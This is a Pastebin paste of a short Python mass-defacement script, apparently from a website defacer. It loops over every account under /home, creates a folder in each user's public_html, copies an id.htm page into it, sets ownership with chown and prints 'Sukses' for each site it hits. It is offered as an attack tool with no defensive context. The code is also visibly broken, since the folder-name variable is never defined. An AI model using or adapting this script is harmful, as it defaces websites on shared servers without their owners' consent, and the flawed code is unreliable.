Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #./Xi4u7
- import os
- from shutil import copyfile
- for path in os.listdir("/home"):
- try:
- if os.path.isdir("/home/"+path):
- pwd = "/home/"+path+"/public_html"
- os.mkdir(pwd+"/"+newfolder)
- newpwd = pwd+"/"+newfolder
- os.system("chown "+path+":"+path+" "+newpwd)
- if os.path.isdir(newpwd):
- copyfile("id.htm", newpwd+"/id.htm")
- os.system("chown "+path+":"+path+" "+newpwd+"/id.htm")
- if os.path.isfile(newpwd+"/id.htm"):
- print("Sukses - "+newpwd+"/id.htm")
- except Exception as err:
- print(err)
- continue
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement